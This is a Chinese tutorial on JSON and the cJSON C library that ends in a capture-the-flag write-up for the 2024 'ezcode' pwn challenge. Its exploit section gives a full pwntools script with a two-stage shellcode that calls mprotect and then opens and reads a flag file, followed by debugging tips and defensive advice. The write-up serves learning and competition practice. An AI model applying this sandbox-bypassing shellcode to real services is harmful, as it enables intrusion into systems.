cJSON学习-强网拟态2024《ezcode》
字数 1996 2025-08-22 12:22:48
cJSON 解析与利用教学文档
1. JSON 基础
1.1 JSON 简介
JSON (JavaScript Object Notation) 是一种轻量级的数据交换格式,具有以下特点:
- 独立于编程语言
- 易于人阅读和编写
- 易于机器解析和生成
- 基于文本格式
1.2 JSON 数据结构
合法 JSON 对象示例:
{
"name": "张三",
"age": 18,
"sex": "男"
}
复杂 JSON 对象示例(包含数组):
{
"class_name": "计科一班",
"student_num": 2,
"student_info": [
{
"name": "张三",
"age": 18,
"sex": "男"
},
{
"name": "李四",
"age": 19,
"sex": "男"
}
]
}
2. cJSON 库
2.1 cJSON 简介
cJSON 是一个轻量级的 C 语言 JSON 解析库,功能包括:
- 将 JSON 数据解析为 C 语言对象/数组
- 将 C 数据结构转换为 JSON 字符串
- 提供完整的 API 用于操作 JSON 数据
2.2 cJSON 结构体
typedef struct cJSON {
struct cJSON *next, *prev; // 链表指针
struct cJSON *child; // 子节点指针
int type; // 数据类型标识
char *valuestring; // 字符串值
int valueint; // 整数值
double valuedouble; // 浮点数值
char *string; // 键名
} cJSON;
type 取值说明:
- 0: false
- 1: true
- 2: null
- 3: number
- 4: string
- 5: array
- 6: object
3. cJSON 核心 API
3.1 反序列化函数
| 函数 | 描述 | 返回值 |
|---|---|---|
cJSON_Parse |
将 JSON 字符串反序列化为 cJSON 结构体 | cJSON* |
cJSON_GetObjectItem |
获取 JSON 对象中的指定项 | cJSON* |
cJSON_GetArrayItem |
获取 JSON 数组中的第 i 个项 | cJSON* |
cJSON_GetArraySize |
获取 JSON 数组的大小 | int |
cJSON_Delete |
删除 cJSON 结构体 | void |
示例代码:
#include <stdio.h>
#include <stdlib.h>
#include "cJSON.h"
int main() {
char buf[0x100];
puts("Input data which type is JSON:");
read(0, buf, 0x100);
cJSON *ptr = cJSON_Parse(buf);
printf("Creat_object:%s\n", cJSON_Print(ptr));
if(ptr) {
cJSON *pName = cJSON_GetObjectItem(ptr, "name");
if(pName == NULL) exit(0);
printf("name [%s]\n", pName->valuestring);
// 其他字段处理...
}
}
3.2 序列化函数
| 函数 | 描述 | 返回值 |
|---|---|---|
cJSON_CreateObject |
创建 object 类型 JSON 项 | cJSON* |
cJSON_CreateArray |
创建 array 类型 JSON 项 | cJSON* |
cJSON_CreateString |
创建 string 类型 JSON 项 | cJSON* |
cJSON_CreateNumber |
创建 number 类型 JSON 项 | cJSON* |
cJSON_AddItemToObject |
添加项到 object | void |
cJSON_AddItemToArray |
添加项到 array | void |
cJSON_Print |
序列化为格式化的 JSON 字符串 | char* |
cJSON_PrintUnformatted |
序列化为未格式化的 JSON 字符串 | char* |
示例代码:
cJSON *GetJsonData(char *name, int age, char *sex) {
cJSON *root = cJSON_CreateObject();
cJSON_AddStringToObject(root, "name", name);
cJSON_AddNumberToObject(root, "age", age);
cJSON_AddStringToObject(root, "sex", sex);
return root;
}
4. cJSON 在 PWN 中的应用
4.1 典型漏洞场景
-
内存管理问题:
- 未正确释放 cJSON 结构体导致内存泄漏
- 对释放后的指针进行操作
-
类型混淆:
- 错误地访问 valueint 而不是 valuestring
-
缓冲区溢出:
- 处理超长字符串时缺乏边界检查
4.2 强网拟态2024《ezcode》分析
题目特点:
- 保护全开(RELRO, PIE, NX, Canary)
- 沙盒环境(禁用 execve)
- 通过 JSON 输入 shellcode
- shellcode 以十六进制形式读取到 0x9998000
- 执行区域只有可执行权限
利用思路:
-
构造两阶段 shellcode:
- 第一阶段(≤0x16字节):调用 mprotect 修改内存权限
- 第二阶段:执行完整的 ORW(Open-Read-Write)操作
-
优化 shellcode 大小:
- 使用短指令(如 mov al, 代替 mov eax)
- 利用寄存器低位
- 减少不必要的指令
关键 shellcode:
payload = asm('''
shl edi, 12;
mov ax, 0xa;
lea edx, [rax-3];
syscall;
xor eax, eax;
xor edi, edi;
mov dl, 0xff;
mov esi, ecx;
syscall;
''', arch='amd64')
完整利用流程:
- 发送第一阶段 shellcode 通过 JSON
- 发送第二阶段 ORW shellcode
- 读取 flag 文件内容
EXP 示例:
from pwn import *
import json
context(os='linux', arch='amd64', log_level='debug')
# 第一阶段 shellcode
payload = asm('''
shl edi, 12;
mov ax, 0xa;
lea edx, [rax-3];
syscall;
xor eax, eax;
xor edi, edi;
mov dl, 0xff;
mov esi, ecx;
syscall;
''', arch='amd64')
# 发送 JSON 格式的 shellcode
form = {"shellcode": payload.hex()}
p.sendline(json.dumps(form))
# 第二阶段 ORW shellcode
shellcode = asm('''
mov rax, 2
mov rdi, 0x999800c
xor rsi, rsi
syscall
mov rax, 0
mov rdi, 3
mov rsi, 0x9998800
mov rdx, 0x30
syscall
mov rax, 1
mov rdi, 1
mov rsi, 0x9998800
mov rdx, 0x30
syscall
''', arch='amd64')
p.send((b'./flag\x00\x00\x00\x00' + shellcode).ljust(0xff, b'\x90'))
p.interactive()
5. 调试技巧
-
IDA 分析:
- 识别 cJSON 结构体成员
- 通过类型定义改善反编译效果
-
GDB 调试:
- 在关键函数和 shellcode 执行处设置断点
- 监控内存权限变化
-
内存布局检查:
- 使用 vmmap 查看内存权限
- 验证 shellcode 写入位置
6. 防御建议
-
输入验证:
- 限制 JSON 输入大小
- 验证字段类型
-
内存管理:
- 及时释放 cJSON 结构体
- 使用安全的字符串处理函数
-
沙盒限制:
- 限制危险系统调用
- 使用 seccomp 过滤
-
代码审计:
- 检查所有 cJSON API 调用
- 验证指针使用情况